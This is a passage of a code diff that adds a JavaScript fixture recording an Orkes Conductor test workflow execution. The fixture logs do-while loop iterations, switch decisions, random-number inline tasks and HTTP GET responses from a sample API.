"ixireilwipqxtseivuxm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 5: { + switch_ref_1: { + evaluationResult: ["1"], + selectedCase: "1", + }, + inline_ref_1: { + result: 1, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5878, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "bksldazxfxhyoyefvrxf", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_5: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2932, + hostName: "orkes-api-sampler-67dfc8cf58-nrj8r", + randomString: "djokkjixbuwxlsstoaab", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_6: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9316, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "dytnpkdddlzmtzlwfpal", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 6: { + switch_ref_1: { + evaluationResult: ["4"], + selectedCase: "4", + }, + inline_ref_1: { + result: 4, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4089, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "khrlsfsjmhvsjgtshbfz", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 7: { + switch_ref_1: { + evaluationResult: ["4"], + selectedCase: "4", + }, + inline_ref_1: { + result: 4, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8433, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "nwltborbttslioxepwhe", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 8: { + switch_ref_1: { + evaluationResult: ["1"], + selectedCase: "1", + }, + inline_ref_1: { + result: 1, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 242, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "idkvujpflbawjvbtcqol", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_5: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5914, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "sccygcowawimarjtitnq", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_6: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2173, + hostName: "orkes-api-sampler-67dfc8cf58-q2zd8", + randomString: "saxapbpahdmmtpavvjlm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 9: { + switch_ref_1: { + evaluationResult: ["1"], + selectedCase: "1", + }, + inline_ref_1: { + result: 1, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4359, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "lmbrmrnefvkwwwbmvolm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_5: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 395, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "myxiwwnhjbxhdwkfwmzm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_6: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2885, + hostName: "orkes-api-sampler-67dfc8cf58-nrj8r", + randomString: "ykuzzhmdpvfcragcwxoh", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 10: { + switch_ref_1: { + evaluationResult: ["3"], + selectedCase: "3", + }, + inline_ref_1: { + result: 3, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:42 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4274, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "kwmoumdlucxuwgphkxaj", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_5: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5175, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "enhhdgrjmtgntufhymzm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_6: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:42 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4750, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "oeenqbhrzifhhetyzpcu", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + iteration: 10, + }, + workflowTask: { + name: "do_while_1", + taskReferenceName: "do_while_ref_1", + inputParameters: { + number: 10, + }, + type: "DO_WHILE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopCondition: + "(function () {\n if ($.do_while_ref_1['iteration'] < $.number) {\n return true;\n }\n return false;\n})();", + loopOver: [ + { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + evaluatorType: "graaljs", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + ], + }, + inline_ref_1: { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref_1__10", + retryCount: 0, + seq: 85, + pollCount: 0, + taskDefName: "inline_1", + scheduledTime: 1713413861829, + startTime: 1713413861829, + endTime: 1713413861842, + updateTime: 1713413861829, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "9960760d-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 3, + }, + workflowTask: { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + loopOver: [ + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref_1__1", + retryCount: 0, + seq: 45, + pollCount: 0, + taskDefName: "inline_1", + scheduledTime: 1713413859386, + startTime: 1713413859386, + endTime: 1713413859402, + updateTime: 1713413859386, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97ec2565-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 2, + }, + workflowTask: { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref_1__2", + retryCount: 0, + seq: 49, + pollCount: 0, + taskDefName: "inline_1", + scheduledTime: 1713413859617, + startTime: 1713413859617, + endTime: 1713413859629, + updateTime: 1713413859617, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "980f64d9-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 3, + }, + workflowTask: { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 2, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref_1__3", + retryCount: 0, + seq: 54, + pollCount: 0, + taskDefName: "inline_1", + scheduledTime: 1713413859945, + startTime: 1713413859945, + endTime: 1713413859959, + updateTime: 1713413859945, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "9841715e-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 1, + }, + workflowTask: { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 3, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref_1__4", + retryCount: 0, + seq: 59, + pollCount: 0, + taskDefName: "inline_1", + scheduledTime: 1713413860274, + startTime: 1713413860274, + endTime: 1713413860287, + updateTime: 1713413860274, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "9873a4f3-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 3, + }, + workflowTask: { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 4, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref_1__5", + retryCount: 0, + seq: 64, + pollCount: 0, + taskDefName: "inline_1", + scheduledTime: 1713413860607, + startTime: 1713413860607, + endTime: 1713413860621, + updateTime: 1713413860607, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98a69bd8-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 1, + }, + workflowTask: { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 5, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref_1__6", + retryCount: 0, + seq: 69, + pollCount: 0, + taskDefName: "inline_1", + scheduledTime: 1713413860941, + startTime: 1713413860941, + endTime: 1713413860957, + updateTime: 1713413860941, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98d96bad-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 4, + }, + workflowTask: { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 6, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref_1__7", + retryCount: 0, + seq: 72, + pollCount: 0, + taskDefName: "inline_1", + scheduledTime: 1713413861052, + startTime: 1713413861052, + endTime: 1713413861070, + updateTime: 1713413861052, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98ea3490-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 4, + }, + workflowTask: { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 7, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref_1__8", + retryCount: 0, + seq: 75, + pollCount: 0, + taskDefName: "inline_1", + scheduledTime: 1713413861161, + startTime: 1713413861161, + endTime: 1713413861175, + updateTime: 1713413861161, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98fafd73-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 1, + }, + workflowTask: { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 8, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref_1__9", + retryCount: 0, + seq: 80, + pollCount: 0, + taskDefName: "inline_1", + scheduledTime: 1713413861496, + startTime: 1713413861497, + endTime: 1713413861510, + updateTime: 1713413861497, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "992e4278-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 1, + }, + workflowTask: { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 9, + subworkflowChanged: false, + queueWaitTime: 1, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref_1__10", + retryCount: 0, + seq: 85, + pollCount: 0, + taskDefName: "inline_1", + scheduledTime: 1713413861829, + startTime: 1713413861829, + endTime: 1713413861842, + updateTime: 1713413861829, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "9960760d-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 3, + }, + workflowTask: { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + ], + }, + switch_ref_1: { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 3, + _createdBy: "najeeb.thangal@orkes.io", + case: "3", + }, + referenceTaskName: "switch_ref_1__10", + retryCount: 0, + seq: 86, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413861851, + startTime: 1713413861851, + endTime: 1713413861851, + updateTime: 1713413861851, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "9963d16e-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["3"], + selectedCase: "3", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: 